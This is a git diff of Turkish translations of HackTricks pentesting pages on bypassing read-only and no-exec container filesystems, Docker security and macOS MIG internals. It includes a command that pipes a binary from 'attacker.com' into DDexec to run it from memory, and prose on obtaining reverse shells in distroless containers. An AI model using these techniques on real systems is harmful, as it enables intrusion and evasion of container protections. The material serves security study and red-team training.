apiVersion: v1
kind: Pod
@@ -44,42 +44,42 @@ securityContext:
command: ["sh", "-c", "while true; do sleep 1000; done"]
-Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu nedenle diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **no-exec koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
+Ancak, dosya sistemi salt okunur olarak bağlanmış olsa bile, **`/dev/shm`** hala yazılabilir olacaktır, bu yüzden diske bir şey yazamayacağımızı düşünmek yanıltıcı olacaktır. Bununla birlikte, bu klasör **çalıştırılamaz koruması ile bağlanacaktır**, bu nedenle buraya bir ikili dosya indirirseniz **onu çalıştıramayacaksınız**.
{% hint style="warning" %}
-Kırmızı takım bakış açısından, bu, sistemde zaten olmayan (arka kapılar veya `kubectl` gibi enumaratörler gibi) ikili dosyaları **indirip çalıştırmayı karmaşık hale getirir**.
+Kırmızı takım bakış açısından, bu, sistemde zaten olmayan ikili dosyaları indirip çalıştırmayı **karmaşık hale getirir** (örneğin, `kubectl` gibi arka kapılar veya sayıcılar).
{% endhint %}
## En Kolay Atlatma: Betikler
-İkili dosyaları belirttiğimi unutmayın, **yürütülebilir herhangi bir betik** (interpreter makinede varsa) çalıştırabilirsiniz, örneğin `sh` varsa bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**.
+İkili dosyaları belirttiğimi unutmayın, **yorumlayıcı makinede mevcutsa herhangi bir betiği** çalıştırabilirsiniz, örneğin `sh` yüklüyse bir **kabuk betiği** veya `python` yüklüyse bir **python betiği**.
-Ancak, bu, ikili arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.
+Ancak, bu, ikili dosya arka kapınızı veya çalıştırmanız gerekebilecek diğer ikili araçları çalıştırmak için yeterli değildir.
## Bellek Atlatmaları
-Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **bellekten çalıştırmaktır**, çünkü **korumalar orada uygulanmaz**.
+Bir ikili dosyayı çalıştırmak istiyorsanız ancak dosya sistemi buna izin vermiyorsa, bunu yapmanın en iyi yolu, **korumaların orada uygulanmadığı bellekten çalıştırmaktır**.
### FD + exec syscall atlatma
Makinede **Python**, **Perl** veya **Ruby** gibi güçlü betik motorlarına sahipseniz, ikili dosyayı bellekten çalıştırmak için indirebilir, onu bir bellek dosya tanımlayıcısında saklayabilirsiniz (`create_memfd` syscall), bu korumalar tarafından korunmayacak ve ardından bir **`exec` syscall** çağırarak **fd'yi çalıştırılacak dosya olarak belirtebilirsiniz**.
-Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve onu **çözümlemek ve sıkıştırmak** için talimatlarla birlikte `create_memfd` syscall'i çağırarak oluşturulan bir **fd** içinde saklayacak ve çalıştırmak için **exec** syscall'i çağıracaktır.
+Bunun için kolayca [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) projesini kullanabilirsiniz. Bir ikili dosya geçirerek, onu **b64 kodlanmış ve şifrelenmiş** bir şekilde içeren bir betik oluşturacak ve `create_memfd` syscall'i çağırarak oluşturulan bir **fd** içinde **çözümlemek ve sıkıştırmak** için talimatlarla birlikte belirtilen dilde bir betik oluşturacaktır ve onu çalıştırmak için **exec** syscall'i çağırır.
{% hint style="warning" %}
-Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bunlar bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol**a sahip değillerdir, bu nedenle `create_memfd`'yi çağırmak için **bellek fd** oluşturulamaz.
-
-Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **no-exec koruması** uygulanacağından çalıştırmanıza izin verilmeyecektir.
+Bu, PHP veya Node gibi diğer betik dillerinde çalışmaz çünkü bir betikten **ham syscalls** çağırmak için herhangi bir **varsayılan yol** yoktur, bu nedenle `create_memfd`'yi çağırmak için **bellek fd'si** oluşturulamaz.
+
+Ayrıca, `/dev/shm` içinde bir dosya ile bir **düzenli fd** oluşturmak çalışmayacaktır, çünkü **çalıştırılamaz koruma** uygulanacağından çalıştırmanıza izin verilmeyecektir.
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec), kendi işleminizin **`/proc/self/mem`**'ini üzerine yazarak **belleğinizi değiştirmenizi** sağlayan bir tekniktir.
-Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "mutasyona uğratabilirsiniz**.
+Bu nedenle, işlem tarafından yürütülen derleme kodunu kontrol ederek, bir **shellcode** yazabilir ve işlemi **herhangi bir keyfi kodu çalıştırmak üzere "değiştirebilirsiniz"**.
{% hint style="success" %}
-**DDexec / EverythingExec**, kendi **shellcode**'unuzu yüklemenize ve **bellekten** herhangi bir **ikili dosyayı çalıştırmanıza** olanak tanır.
+**DDexec / EverythingExec**, kendi **shellcode**'unuzu veya **bellekten herhangi bir ikili dosyayı** yüklemenize ve **çalıştırmanıza izin verecektir**.
{% endhint %}
```bash
# Basic example
@@ -87,45 +87,45 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
```
### MemExec
-[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. **Farklı bir ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan**, DDexec tekniği aracılığıyla memexec shellcode'unu çalıştırabilir ve ardından bu deamon ile iletişim kurarak yeni ikili dosyaları yükleyip çalıştırabilirsiniz.
+[**Memexec**](https://github.com/arget13/memexec), DDexec'in doğal bir sonraki adımıdır. Herhangi bir **farklı ikili dosyayı çalıştırmak istediğinizde DDexec'i yeniden başlatmanıza gerek kalmadan, sadece memexec shellcode'u DDexec tekniği aracılığıyla çalıştırabilir ve ardından **bu deamon ile iletişim kurarak yüklemek ve çalıştırmak için yeni ikili dosyaları geçirebilirsiniz**.
**Memexec'i kullanarak PHP ters kabuk'tan ikili dosyaları çalıştırmak için bir örnek** [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) adresinde bulunabilir.
### Memdlopen
-DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin daha kolay bir yolunu sağlar. Bağımlılıkları olan ikili dosyaları bile yüklemeyi mümkün kılabilir.
+DDexec'e benzer bir amaçla, [**memdlopen**](https://github.com/arget13/memdlopen) tekniği, daha sonra bunları çalıştırmak için belleğe ikili dosyaları yüklemenin **daha kolay bir yolunu** sağlar. Bağımlılıkları olan ikili dosyaları yüklemeye bile izin verebilir.
## Distroless Atlatma
### Distroless Nedir
-Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **en temel bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıklarını içerir, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
+Distroless konteynerler, yalnızca belirli bir uygulamayı veya hizmeti çalıştırmak için gerekli olan **en temel bileşenleri** içerir; kütüphaneler ve çalışma zamanı bağımlılıkları gibi, ancak bir paket yöneticisi, kabuk veya sistem yardımcı programları gibi daha büyük bileşenleri hariç tutar.
-Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin **saldırı yüzeyini azaltmak** ve sömürülebilecek güvenlik açıklarının sayısını en aza indirmektir.
+Distroless konteynerlerin amacı, gereksiz bileşenleri ortadan kaldırarak konteynerlerin saldırı yüzeyini **azaltmak** ve istismar edilebilecek güvenlik açıklarının sayısını **en aza indirmektir**.
### Ters Kabuk
-Distroless konteynerlerde genellikle **`sh` veya `bash`** gibi normal bir kabuk bulamayabilirsiniz. Ayrıca, genellikle bir sistemde çalıştırdığınız `ls`, `whoami`, `id` gibi ikili dosyaları da bulamazsınız.
+Distroless konteynerlerde genellikle **`sh` veya `bash`** gibi düzenli bir kabuk bulamayabilirsiniz. Ayrıca, `ls`, `whoami`, `id` gibi ikili dosyaları da bulamayacaksınız... genellikle bir sistemde çalıştırdığınız her şeyi bulamazsınız.
{% hint style="warning" %}
-Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandırma** yapamayacaksınız.
+Bu nedenle, genellikle yaptığınız gibi bir **ters kabuk** alamayacak veya sistemde **numaralandıramayacaksınız**.
{% endhint %}
-Ancak, ele geçirilen konteyner örneğin bir flask web uygulaması çalıştırıyorsa, o zaman python yüklüdür ve dolayısıyla bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve çoğu **betik dili** ile aynı şeyi yapabilirsiniz.
+Ancak, ele geçirilen konteyner örneğin bir flask web çalıştırıyorsa, o zaman python yüklüdür ve bu nedenle bir **Python ters kabuk** alabilirsiniz. Node çalışıyorsa, bir Node ters kabuk alabilirsiniz ve aynı şey çoğu **betik dili** için geçerlidir.
{% hint style="success" %}
-Betik dili kullanarak dilin yeteneklerini kullanarak sistemde **numaralandırma yapabilirsiniz**.
+Betik dili kullanarak dilin yeteneklerini kullanarak **sistemi numaralandırabilirsiniz**.
{% endhint %}
-Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak **ikili dosyalarınızı dosya sistemine yazabilir** ve **çalıştırabilirsiniz**.
+Eğer **`read-only/no-exec`** korumaları yoksa, ters kabuğunuzu kullanarak dosya sistemine **ikili dosyalarınızı yazabilir** ve **çalıştırabilirsiniz**.
{% hint style="success" %}
Ancak, bu tür konteynerlerde genellikle bu korumalar bulunacaktır, ancak bunları atlatmak için **önceki bellek yürütme tekniklerini kullanabilirsiniz**.
{% endhint %}
-**RCE zafiyetlerini kullanarak betik dillerinden ters kabuklar almayı ve hafızadan ikili dosyaları çalıştırmayı nasıl istismar edeceğinize dair örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
+**RCE zafiyetlerini kullanarak bazı betik dillerinden ters kabuklar almak ve bellekten ikili dosyaları çalıştırmak için örnekler** [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) adresinde bulunabilir.
-
+
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde yazılı ve konuşulan Lehçe gereklidir_).
@@ -137,10 +137,10 @@ Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklam görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin.
-* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı **takip edin**.
+* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **hacking püf noktalarınızı paylaşın**.
diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md
index f24ae64fc..9aae2e5be 100644
--- a/linux-hardening/privilege-escalation/docker-security/README.md
+++ b/linux-hardening/privilege-escalation/docker-security/README.md
@@ -8,23 +8,23 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
-* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
+* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
+* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\
-Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen ve **otomatikleştirilmiş iş akışları** oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **Temel Docker Motoru Güvenliği**
-**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı eylemlerini daha da kısıtlayabilir.
+**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups**'ını kullanır, temel bir güvenlik katmanı sunar. **Yeteneklerin düşürülmesi**, **Seccomp** ve **SELinux/AppArmor** ile ek koruma sağlanır, konteyner izolasyonu artırılır. Bir **auth eklentisi** kullanıcı işlemlerini daha da kısıtlayabilir.
![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@@ -32,12 +32,12 @@ Bugün Erişim Alın:
Docker motoruna yerel olarak Unix soketi aracılığıyla veya uzaktan HTTP kullanılarak erişilebilir. Uzaktan erişim için gizlilik, bütünlük ve kimlik doğrulamasını sağlamak için HTTPS ve **TLS** kullanmak önemlidir.
-Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde Unix soketinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin:
+Ubuntu sistemlerinde Docker varsayılan olarak `unix:///var/run/docker.sock` üzerinde dinler. Docker'ın başlangıç seçenekleri `/etc/default/docker` dosyasında tanımlanmıştır. Docker API ve istemciye uzaktan erişimi etkinleştirmek için Docker daemon'ı HTTP soketi üzerinden açmak için aşağıdaki ayarları ekleyin:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
-Ancak, Docker daemon'ını HTTP üzerinden açmak güvenlik endişeleri nedeniyle önerilmez. Bağlantıların güvenliğini sağlamak için HTTPS kullanılması tavsiye edilir. Bağlantıyı güvence altına almanın iki temel yaklaşımı vardır:
+Ancak, Docker daemon'ını HTTP üzerinden açmak güvenlik endişeleri nedeniyle önerilmez. Bağlantıların HTTPS kullanılarak güvence altına alınması tavsiye edilir. Bağlantıyı güvence altına almanın iki temel yaklaşımı vardır:
1. İstemci sunucunun kimliğini doğrular.
2. Hem istemci hem de sunucu birbirlerinin kimliğini karşılıklı olarak doğrular.
@@ -46,15 +46,15 @@ Sertifikalar, bir sunucunun kimliğini doğrulamak için kullanılır. Her iki y
### Konteyner Görüntülerinin Güvenliği
-Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir. Docker, konteyner görüntüleri için birkaç depolama seçeneği sunar:
+Konteyner görüntüleri ya özel ya da genel depolama alanlarında saklanabilir. Docker, konteyner görüntüleri için çeşitli depolama seçenekleri sunar:
* [**Docker Hub**](https://hub.docker.com): Docker'dan genel bir kayıt servisi.
* [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmasına izin veren açık kaynaklı bir proje.
-* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kaydı.
+* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleriyle entegrasyon sunan Docker'ın ticari kayıt sunumu.
### Görüntü Tarama
-Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için çalışır.
+Konteynerler, temel görüntü veya temel görüntü üzerine kurulan yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yaparak ve güvenlik açıklarını listeleyerek çalışan **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her Konteyner görüntü katmanını güvenlik açığı havuzunu karşılaştırarak güvenlik açıklarını belirlemek için tarar.
Daha fazla [**bilgi için burayı okuyun**](https://docs.docker.com/engine/scan/).
@@ -90,13 +90,13 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
```
### Docker İmaj İmzalama
-Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özetlenmiş bir açıklama:
+Docker imaj imzalama, konteynerlerde kullanılan imajların güvenliğini ve bütünlüğünü sağlar. İşte özet bir açıklama:
-- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) üzerine kurulu Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
-- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürümü 1.10 ve sonrasında varsayılan olarak kapalıdır.
-- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parolaların belirlenmesini gerektirir ve Docker ayrıca gelişmiş güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz.
-- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatasıyla sonuçlanır.
-- İlk imaj yüklemeden sonra imajı imzalamak için Docker, depo anahtarının parolasını ister.
+- **Docker İçerik Güveni**, imza yönetimi için The Update Framework (TUF) tabanlı Notary projesini kullanır. Daha fazla bilgi için [Notary](https://github.com/docker/notary) ve [TUF](https://theupdateframework.github.io) sayfalarına bakabilirsiniz.
+- Docker içerik güvenini etkinleştirmek için `export DOCKER_CONTENT_TRUST=1` ayarını yapın. Bu özellik, Docker sürüm 1.10 ve sonrasında varsayılan olarak kapalıdır.
+- Bu özellik etkinleştirildiğinde, yalnızca imzalı imajlar indirilebilir. İlk imaj yükleme işlemi, kök ve etiketleme anahtarları için parola belirlemeyi gerektirir ve Docker ayrıca artırılmış güvenlik için Yubikey'i de destekler. Daha fazla ayrıntıya [buradan](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) ulaşabilirsiniz.
+- İçerik güveni etkinleştirilmiş bir imzasız imajı çekmeye çalışmak, "No trust data for latest" hatası ile sonuçlanır.
+- İlk imaj yükleme işleminden sonra, Docker, imajı imzalamak için depo anahtarının parolasını ister.
Özel anahtarlarınızı yedeklemek için aşağıdaki komutu kullanın:
```bash
@@ -106,10 +106,10 @@ Docker ana bilgisayarlar arasında geçiş yaparken işlemleri sürdürebilmek i
***
-
+
\
-[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@@ -120,22 +120,22 @@ Bugün Erişim Edinin:
int _myipc_server(int arg0, int arg1) {
var_10 = arg0;
var_18 = arg1;
-// Uygun işlev işaretçilerini bulmak için ilk talimatlar
+// Doğru işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@@ -259,13 +278,13 @@ var_18 = arg1;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
-// Çağrılacak işlevi tanımlamaya yardımcı olabilecek sign_extend_64 çağrısı
-// Bu, çağrılması gereken işlevin işaretçisini rax'a depolar
+// Çağrılması gereken işlevin işaretçisini belirlemeye yardımcı olabilecek sign_extend_64 çağrısı
+// Bu, rax'e çağrılması gereken işlevin işaretçisini depolar
// Kullanılan adres 0x100004040'ı kontrol edin (işlevlerin adresleri dizisi)
// 0x1f4 = 500 (başlangıç ID'si)
rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
var_20 = rax;
-// If - else, if yanıtı yanlış döndürürken else doğru işlevi çağırır ve doğru döndürür
+// If - else, if yanıtı yanlış dönerken else doğru işlevi çağırır ve doğru döner
if (rax == 0x0) {
*(var_18 + 0x18) = **_NDR_record;
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
@@ -297,7 +316,7 @@ saved_fp = r29;
stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
-// Uygun işlev işaretçilerini bulmak için ilk talimatlar
+// Doğru işlev işaretçilerini bulmak için ilk talimatlar
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
@@ -364,22 +383,22 @@ return r0;
{% endtab %}
{% endtabs %}
-Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapının 0x28 bayt aldığını** göz önünde bulundurarak, her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
-
-
+Aslında, **`0x100004000`** işlevine giderseniz, **`routine_descriptor`** yapılarının dizisini bulacaksınız. Yapının ilk öğesi, **işlevin uygulandığı adres** ve **yapı 0x28 bayt alır**, bu nedenle her 0x28 baytta (bayt 0'dan başlayarak) 8 bayt alabilir ve bu, **çağrılacak işlevin adresi** olacaktır:
+
+
Bu veriler, [**bu Hopper betiği kullanılarak**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) çıkarılabilir.
-Sıfırdan başlayarak AWS hacklemeyi htARTE (HackTricks AWS Red Team Expert) ile öğrenin!
+Sıfırdan başlayarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
-* **Hacking püf noktalarınızı göndererek PR'ler gönderin** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına.**
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) **katılın** veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.**
+* **Hacking püf noktalarınızı göndererek PR'ler oluşturarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarını paylaşın.**
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
index 4c2ed950f..0858e84ba 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
@@ -6,7 +6,7 @@
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
+* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@@ -16,13 +16,13 @@ HackTricks'i desteklemenin diğer yolları:
## XPC Yetkilendirme
-Apple, bağlanan işlemin **bir XPC yöntemini çağırmaya izin** **olup olmadığını doğrulamanın** başka bir yolunu da önerir.
+Apple, bağlanan işlemin **bir XPC yöntemini çağırmak için izinlere sahip olup olmadığını doğrulamak** için başka bir yöntem de önermektedir.
-Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için çağrılabilecek bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
